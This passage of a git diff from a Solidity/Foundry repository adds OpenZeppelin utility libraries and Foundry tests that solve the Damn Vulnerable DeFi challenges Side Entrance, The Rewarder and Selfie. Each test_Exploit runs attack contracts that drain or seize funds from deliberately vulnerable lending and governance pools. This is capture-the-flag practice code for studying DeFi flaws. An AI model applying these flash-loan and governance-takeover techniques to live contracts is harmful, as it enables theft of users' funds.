(uint256) { - return _actionCounter; - } - - /** - * @dev an action can only be executed if: - * 1) it's never been executed before and - * 2) enough time has passed since it was first proposed - */ - function _canBeExecuted(uint256 actionId) private view returns (bool) { - GovernanceAction memory actionToExecute = _actions[actionId]; - - if ( - actionToExecute.proposedAt == 0 // early exit - ) { - return false; - } - - uint64 timeDelta; - unchecked { - timeDelta = uint64(block.timestamp) - actionToExecute.proposedAt; - } - - return actionToExecute.executedAt == 0 && timeDelta >= ACTION_DELAY_IN_SECONDS; - } - - function _hasEnoughVotes(address who) private view returns (bool) { - uint256 balance = _governanceToken.getBalanceAtLastSnapshot(who); - uint256 halfTotalSupply = _governanceToken.getTotalSupplyAtLastSnapshot() / 2; - return balance > halfTotalSupply; - } -} diff --git a/contracts/utils/openzeppelin/Counters.sol b/contracts/utils/openzeppelin/Counters.sol new file mode 100644 index 0000000..8a4f2a2 --- /dev/null +++ b/contracts/utils/openzeppelin/Counters.sol @@ -0,0 +1,43 @@ +// SPDX-License-Identifier: MIT +// OpenZeppelin Contracts v4.4.1 (utils/Counters.sol) + +pragma solidity ^0.8.0; + +/** + * @title Counters + * @author Matt Condon (@shrugs) + * @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number + * of elements in a mapping, issuing ERC721 ids, or counting request ids. + * + * Include with `using Counters for Counters.Counter;` + */ +library Counters { + struct Counter { + // This variable should never be directly accessed by users of the library: interactions must be restricted to + // the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add + // this feature: see https://github.com/ethereum/solidity/issues/4637 + uint256 _value; // default: 0 + } + + function current(Counter storage counter) internal view returns (uint256) { + return counter._value; + } + + function increment(Counter storage counter) internal { + unchecked { + counter._value += 1; + } + } + + function decrement(Counter storage counter) internal { + uint256 value = counter._value; + require(value > 0, "Counter: decrement overflow"); + unchecked { + counter._value = value - 1; + } + } + + function reset(Counter storage counter) internal { + counter._value = 0; + } +} diff --git a/contracts/utils/openzeppelin/ERC20Snapshot.sol b/contracts/utils/openzeppelin/ERC20Snapshot.sol new file mode 100644 index 0000000..3c938ae --- /dev/null +++ b/contracts/utils/openzeppelin/ERC20Snapshot.sol @@ -0,0 +1,195 @@ +// SPDX-License-Identifier: MIT +// OpenZeppelin Contracts (last updated v4.7.0) (token/ERC20/extensions/ERC20Snapshot.sol) + +pragma solidity ^0.8.0; + +import { ERC20 } from "@openzeppelin/contracts/token/ERC20/ERC20.sol"; +import { Arrays } from "@openzeppelin/contracts/utils/Arrays.sol"; +import "./Counters.sol"; + +/** + * @dev This contract extends an ERC20 token with a snapshot mechanism. When a snapshot is created, the balances and + * total supply at the time are recorded for later access. + * + * This can be used to safely create mechanisms based on token balances such as trustless dividends or weighted voting. + * In naive implementations it's possible to perform a "double spend" attack by reusing the same balance from different + * accounts. By using snapshots to calculate dividends or voting power, those attacks no longer apply. It can also be + * used to create an efficient ERC20 forking mechanism. + * + * Snapshots are created by the internal {_snapshot} function, which will emit the {Snapshot} event and return a + * snapshot id. To get the total supply at the time of a snapshot, call the function {totalSupplyAt} with the snapshot + * id. To get the balance of an account at the time of a snapshot, call the {balanceOfAt} function with the snapshot id + * and the account address. + * + * NOTE: Snapshot policy can be customized by overriding the {_getCurrentSnapshotId} method. For example, having it + * return `block.number` will trigger the creation of snapshot at the beginning of each new block. When overriding this + * function, be careful about the monotonicity of its result. Non-monotonic snapshot ids will break the contract. + * + * Implementing snapshots for every block using this method will incur significant gas costs. For a gas-efficient + * alternative consider {ERC20Votes}. + * + * ==== Gas Costs + * + * Snapshots are efficient. Snapshot creation is _O(1)_. Retrieval of balances or total supply from a snapshot is _O(log + * n)_ in the number of snapshots that have been created, although _n_ for a specific account will generally be much + * smaller since identical balances in subsequent snapshots are stored as a single entry. + * + * There is a constant overhead for normal ERC20 transfers due to the additional snapshot bookkeeping. This overhead is + * only significant for the first transfer that immediately follows a snapshot for a particular account. Subsequent + * transfers will have normal cost until the next snapshot, and so on. + */ + +abstract contract ERC20Snapshot is ERC20 { + // Inspired by Jordi Baylina's MiniMeToken to record historical balances: + // https://github.com/Giveth/minime/blob/ea04d950eea153a04c51fa510b068b9dded390cb/contracts/MiniMeToken.sol + + using Arrays for uint256[]; + using Counters for Counters.Counter; + + // Snapshotted values have arrays of ids and the value corresponding to that id. These could be an array of a + // Snapshot struct, but that would impede usage of functions that work on an array. + struct Snapshots { + uint256[] ids; + uint256[] values; + } + + mapping(address => Snapshots) private _accountBalanceSnapshots; + Snapshots private _totalSupplySnapshots; + + // Snapshot ids increase monotonically, with the first value being 1. An id of 0 is invalid. + Counters.Counter private _currentSnapshotId; + + /** + * @dev Emitted by {_snapshot} when a snapshot identified by `id` is created. + */ + event Snapshot(uint256 id); + + /** + * @dev Creates a new snapshot and returns its snapshot id. + * + * Emits a {Snapshot} event that contains the same id. + * + * {_snapshot} is `internal` and you have to decide how to expose it externally. Its usage may be restricted to a + * set of accounts, for example using {AccessControl}, or it may be open to the public. + * + * [WARNING] + * ==== + * While an open way of calling {_snapshot} is required for certain trust minimization mechanisms such as forking, + * you must consider that it can potentially be used by attackers in two ways. + * + * First, it can be used to increase the cost of retrieval of values from snapshots, although it will grow + * logarithmically thus rendering this attack ineffective in the long term. Second, it can be used to target + * specific accounts and increase the cost of ERC20 transfers for them, in the ways specified in the Gas Costs + * section above. + * + * We haven't measured the actual numbers; if this is something you're interested in please reach out to us. + * ==== + */ + function _snapshot() internal virtual returns (uint256) { + _currentSnapshotId.increment(); + + uint256 currentId = _getCurrentSnapshotId(); + emit Snapshot(currentId); + return currentId; + } + + /** + * @dev Get the current snapshotId + */ + function _getCurrentSnapshotId() internal view virtual returns (uint256) { + return _currentSnapshotId.current(); + } + + /** + * @dev Retrieves the balance of `account` at the time `snapshotId` was created. + */ + function balanceOfAt(address account, uint256 snapshotId) public view virtual returns (uint256) { + (bool snapshotted, uint256 value) = _valueAt(snapshotId, _accountBalanceSnapshots[account]); + + return snapshotted ? value : balanceOf(account); + } + + /** + * @dev Retrieves the total supply at the time `snapshotId` was created. + */ + function totalSupplyAt(uint256 snapshotId) public view virtual returns (uint256) { + (bool snapshotted, uint256 value) = _valueAt(snapshotId, _totalSupplySnapshots); + + return snapshotted ? value : totalSupply(); + } + + // Update balance and/or total supply snapshots before the values are modified. This is implemented + // in the _beforeTokenTransfer hook, which is executed for _mint, _burn, and _transfer operations. + // function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual override { + // super._beforeTokenTransfer(from, to, amount); + + // if (from == address(0)) { + // // mint + // _updateAccountSnapshot(to); + // _updateTotalSupplySnapshot(); + // } else if (to == address(0)) { + // // burn + // _updateAccountSnapshot(from); + // _updateTotalSupplySnapshot(); + // } else { + // // transfer + // _updateAccountSnapshot(from); + // _updateAccountSnapshot(to); + // } + // } + + function _valueAt(uint256 snapshotId, Snapshots storage snapshots) private view returns (bool, uint256) { + require(snapshotId > 0, "ERC20Snapshot: id is 0"); + require(snapshotId <= _getCurrentSnapshotId(), "ERC20Snapshot: nonexistent id"); + + // When a valid snapshot is queried, there are three possibilities: + // a) The queried value was not modified after the snapshot was taken. Therefore, a snapshot entry was never + // created for this id, and all stored snapshot ids are smaller than the requested one. The value that + // corresponds + // to this id is the current one. + // b) The queried value was modified after the snapshot was taken. Therefore, there will be an entry with the + // requested id, and its value is the one to return. + // c) More snapshots were created after the requested one, and the queried value was later modified. There will + // be + // no entry for the requested id: the value that corresponds to it is that of the smallest snapshot id that is + // larger than the requested one. + // + // In summary, we need to find an element in an array, returning the index of the smallest value that is larger + // if + // it is not found, unless said value doesn't exist (e.g. when all values are smaller). Arrays.findUpperBound + // does + // exactly this. + + uint256 index = snapshots.ids.findUpperBound(snapshotId); + + if (index == snapshots.ids.length) { + return (false, 0); + } else { + return (true, snapshots.values[index]); + } + } + + function _updateAccountSnapshot(address account) private { + _updateSnapshot(_accountBalanceSnapshots[account], balanceOf(account)); + } + + function _updateTotalSupplySnapshot() private { + _updateSnapshot(_totalSupplySnapshots, totalSupply()); + } + + function _updateSnapshot(Snapshots storage snapshots, uint256 currentValue) private { + uint256 currentId = _getCurrentSnapshotId(); + if (_lastSnapshotId(snapshots.ids) < currentId) { + snapshots.ids.push(currentId); + snapshots.values.push(currentValue); + } + } + + function _lastSnapshotId(uint256[] storage ids) private view returns (uint256) { + if (ids.length == 0) { + return 0; + } else { + return ids[ids.length - 1]; + } + } +} diff --git a/foundry/test/CTF/Damn-Vulnerable-DeFi/04.Side-Entrance.t.sol b/foundry/test/CTF/Damn-Vulnerable-DeFi/04.Side-Entrance.t.sol new file mode 100644 index 0000000..5ee9f5d --- /dev/null +++ b/foundry/test/CTF/Damn-Vulnerable-DeFi/04.Side-Entrance.t.sol @@ -0,0 +1,71 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; + +import { Test } from "forge-std/Test.sol"; +import { Vm } from "forge-std/Vm.sol"; +import { console2 } from "forge-std/console2.sol"; +import { DamnValuableToken } from "@contracts/CTF/Damn-Vulnerable-DeFi/00.Base/DamnVulnerableDeFi.sol"; +import { + SideEntranceLenderPool, + SideEntranceAttack +} from "@contracts/CTF/Damn-Vulnerable-DeFi/04.Side-Entrance/04.Side-Entrance.sol"; + +/* + https://www.damnvulnerabledefi.xyz/challenges/naive-receiver/ + + forge test --match-path foundry/test/CTF/Damn-Vulnerable-DeFi/04.Side-Entrance.t.sol -vvvvv +*/ + +contract Side_Entrance_03_Test is Test { + // hacking attack address + address private deployer = address(1); + address private feeRecipient = address(2); + address private player = address(2333); + + SideEntranceLenderPool private pool; + DamnValuableToken private token; + uint256 ETHER_IN_POOL = 1000 ether; + uint256 PLAYER_INITIAL_ETH_BALANCE = 1 ether; + + function setUp() public { + vm.startPrank(deployer); + vm.deal(deployer, type(uint256).max); + _before(); + vm.stopPrank(); + vm.startPrank(player); + } + + function _before() public { + /* SETUP SCENARIO - NO NEED TO CHANGE ANYTHING HERE */ + token = new DamnValuableToken(); + pool = new SideEntranceLenderPool(); + vm.deal(deployer, type(uint256).max); + pool.deposit{ value: ETHER_IN_POOL }(); + assertEq(address(pool).balance, ETHER_IN_POOL, "ETHER_IN_POOL"); + vm.deal(player, PLAYER_INITIAL_ETH_BALANCE); + assertEq(address(player).balance, PLAYER_INITIAL_ETH_BALANCE, "ETHER_IN_POOL"); + } + + function test_Exploit() public { + /* START CODE YOUR SOLUTION HERE */ + SideEntranceAttack hackInst = new SideEntranceAttack(address(pool), player); + // pool.deposit{ value: player.balance }(); + hackInst.attack(); + // burn extra token + (bool isSuccess,) = address(0).call{ value: player.balance - ETHER_IN_POOL }(""); + require(isSuccess, ""); + /* END CODE YOUR SOLUTION */ + vm.stopPrank(); + _after(); + } + + function _after() public { + /* SUCCESS CONDITIONS - NO NEED TO CHANGE ANYTHING HERE */ + + // It is no longer possible to execute flash loans + vm.startPrank(deployer); + assertEq(player.balance, ETHER_IN_POOL, "player"); + assertEq(address(pool).balance, 0, "pool"); + vm.stopPrank(); + } +} diff --git a/foundry/test/CTF/Damn-Vulnerable-DeFi/05.The-Rewarder.t.sol b/foundry/test/CTF/Damn-Vulnerable-DeFi/05.The-Rewarder.t.sol new file mode 100644 index 0000000..51376d0 --- /dev/null +++ b/foundry/test/CTF/Damn-Vulnerable-DeFi/05.The-Rewarder.t.sol @@ -0,0 +1,134 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; + +import { Test } from "forge-std/Test.sol"; +import { Vm } from "forge-std/Vm.sol"; +import { console2 } from "forge-std/console2.sol"; +import { DamnValuableToken } from "@contracts/CTF/Damn-Vulnerable-DeFi/00.Base/DamnVulnerableDeFi.sol"; +import { + FlashLoanerPool, + TheRewarderPool, + RewardToken, + AccountingToken, + FixedPointMathLib, + TheRewarderHack +} from "@contracts/CTF/Damn-Vulnerable-DeFi/05.The-Rewarder/05.The-Rewarder.sol"; + +import { Math } from "@openzeppelin/contracts/utils/math/Math.sol"; + +/* + https://www.damnvulnerabledefi.xyz/challenges/naive-receiver/ + + forge test --match-path foundry/test/CTF/Damn-Vulnerable-DeFi/05.The-Rewarder.t.sol -vvvvv +*/ + +contract The_Rewarder_03_Test is Test { + using FixedPointMathLib for uint256; + + address private deployer = address(1); + address private feeRecipient = address(2); + address private player = address(2333); + + address private alice = address(5); + address private bob = address(6); + address private charlie = address(7); + address private david = address(8); + address[4] private users = [alice, bob, charlie, david]; + + TheRewarderPool rewarderPool; + RewardToken rewardToken; + AccountingToken accountingToken; + DamnValuableToken liquidityToken; + FlashLoanerPool flashLoanPool; + + uint256 TOKENS_IN_LENDER_POOL = 1_000_000 ether; + + function setUp() public { + _before(); + } + + function _before() public { + /* SETUP SCENARIO - NO NEED TO CHANGE ANYTHING HERE */ + liquidityToken = new DamnValuableToken(); + flashLoanPool = new FlashLoanerPool(address(liquidityToken)); + liquidityToken.transfer(address(flashLoanPool), TOKENS_IN_LENDER_POOL); + + rewarderPool = new TheRewarderPool(address(liquidityToken)); + rewardToken = RewardToken(rewarderPool.rewardToken()); + accountingToken = AccountingToken(rewarderPool.accountingToken()); + + assertEq(accountingToken.owner(), address(rewarderPool)); + + uint256 mintRole = accountingToken.MINTER_ROLE(); + uint256 snapShotRole = accountingToken.SNAPSHOT_ROLE(); + uint256 burnerRole = accountingToken.BURNER_ROLE(); + + assertTrue(accountingToken.hasAllRoles(address(rewarderPool), mintRole | snapShotRole | burnerRole)); + + uint256 depositAmount = 100e18; + for (uint256 i = 0; i < users.length; i++) { + liquidityToken.transfer(users[i], depositAmount); + vm.startPrank(users[i]); + liquidityToken.approve(address(rewarderPool), depositAmount); + rewarderPool.deposit(depositAmount); + assertEq(accountingToken.balanceOf(users[i]), depositAmount); + vm.stopPrank(); + } + vm.warp(block.timestamp + 5 days); + + uint256 rewardInRound = rewarderPool.REWARDS(); + for (uint256 i = 0; i < users.length; i++) { + vm.startPrank(users[i]); + + rewarderPool.distributeRewards(); + (, uint256 _tmp) = Math.tryDiv(rewardInRound, users.length); + assertEq(rewardToken.balanceOf(users[i]), _tmp); + + vm.stopPrank(); + } + assertEq(rewardToken.totalSupply(), rewardInRound); + assertEq(liquidityToken.balanceOf(address(player)), 0); + assertEq(rewarderPool.roundNumber(), 2); + vm.warp(block.timestamp + 5 days); + } + + function test_Exploit() public { + vm.startPrank(player); + /* START CODE YOUR SOLUTION HERE */ + + TheRewarderHack hackInst = + new TheRewarderHack(address(flashLoanPool), address(rewarderPool), address(liquidityToken), address(rewardToken)); + hackInst.attack(TOKENS_IN_LENDER_POOL); + /* END CODE YOUR SOLUTION */ + vm.stopPrank(); + _after(); + } + + function _after() public { + /* SUCCESS CONDITIONS - NO NEED TO CHANGE ANYTHING HERE */ + + // It is no longer possible to execute flash loans + assertEq(rewarderPool.roundNumber(), 3); + for (uint256 i = 0; i < users.length; i++) { + vm.startPrank(users[i]); + rewarderPool.distributeRewards(); + uint256 userReward = rewardToken.balanceOf(users[i]); + uint256 userDelta = userReward.rawSub(rewarderPool.REWARDS().rawDiv(users.length)); + assertTrue(userDelta < 1e16); + vm.stopPrank(); + } + + // rewards must have been issued to the player account + assertGt(rewardToken.totalSupply(), rewarderPool.REWARDS()); + uint256 playerRewards = rewardToken.balanceOf(address(player)); + assertGt(playerRewards, 0); + + // the amount of rewards earned should be close to total available amount + uint256 delta = rewarderPool.REWARDS().rawSub(playerRewards); + assertLt(delta, 1e17); + + // balance of dvt tokens is player and lending pool hasn't changed + assertEq(liquidityToken.balanceOf(address(player)), 0); + assertEq(liquidityToken.balanceOf(address(flashLoanPool)), TOKENS_IN_LENDER_POOL); + } +} diff --git a/foundry/test/CTF/Damn-Vulnerable-DeFi/06.Selfie.t.sol b/foundry/test/CTF/Damn-Vulnerable-DeFi/06.Selfie.t.sol new file mode 100644 index 0000000..727b464 --- /dev/null +++ b/foundry/test/CTF/Damn-Vulnerable-DeFi/06.Selfie.t.sol @@ -0,0 +1,78 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; + +import { Test } from "forge-std/Test.sol"; +import { Vm } from "forge-std/Vm.sol"; +import { console2 } from "forge-std/console2.sol"; +import { DamnValuableToken } from "@contracts/CTF/Damn-Vulnerable-DeFi/00.Base/DamnVulnerableDeFi.sol"; +import { DamnValuableTokenSnapshot } from "@contracts/CTF/Damn-Vulnerable-DeFi/00.Base/DamnValuableTokenSnapshot.sol"; +import { SimpleGovernance, SelfiePool, SelfieHack } from "@contracts/CTF/Damn-Vulnerable-DeFi/06.Selfie/06.Selfie.sol"; + +/* + https://www.damnvulnerabledefi.xyz/challenges/naive-receiver/ + + forge test --match-path foundry/test/CTF/Damn-Vulnerable-DeFi/06.Selfie.t.sol -vvvvv +*/ + +contract Side_Entrance_03_Test is Test { + // hacking attack address + address private deployer = address(1); + address private feeRecipient = address(2); + address private player = address(2333); + + uint256 constant TOKEN_INITIAL_SUPPLY = 2_000_000 ether; + uint256 constant TOKENS_IN_POOL = 1_500_000 ether; + + DamnValuableTokenSnapshot token; + SimpleGovernance governance; + SelfiePool pool; + + function setUp() public { + vm.startPrank(deployer); + vm.deal(deployer, type(uint256).max); + _before(); + vm.stopPrank(); + vm.startPrank(player); + } + + function _before() public { + /* SETUP SCENARIO - NO NEED TO CHANGE ANYTHING HERE */ + // address payable[] memory users = util.createUsers(2); + // deployer = users[0]; + // player = users[1]; + + token = new DamnValuableTokenSnapshot(TOKEN_INITIAL_SUPPLY); + governance = new SimpleGovernance(address(token)); + + assertEq(governance.getActionCounter(), 1); + + pool = new SelfiePool(address(token), address(governance)); + + token.transfer(address(pool), TOKENS_IN_POOL); + token.snapshot(); + assertEq(token.balanceOf(address(pool)), TOKENS_IN_POOL); + assertEq(pool.maxFlashLoan(address(token)), TOKENS_IN_POOL); + assertEq(pool.flashFee(address(token), 0), 0); + } + + function test_Exploit() public { + /* START CODE YOUR SOLUTION HERE */ + SelfieHack attacker = new SelfieHack(address(pool), address(governance), address(token)); + attacker.attack(TOKENS_IN_POOL); + vm.warp(block.timestamp + 2 days); + attacker.executeAction(); + /* END CODE YOUR SOLUTION */ + vm.stopPrank(); + _after(); + } + + function _after() public { + /* SUCCESS CONDITIONS - NO NEED TO CHANGE ANYTHING HERE */ + + // It is no longer possible to execute flash loans + vm.startPrank(deployer); + assertEq(token.balanceOf(address(player)), TOKENS_IN_POOL); + assertEq(token.balanceOf(address(pool)), 0); + vm.stopPrank(); + } +}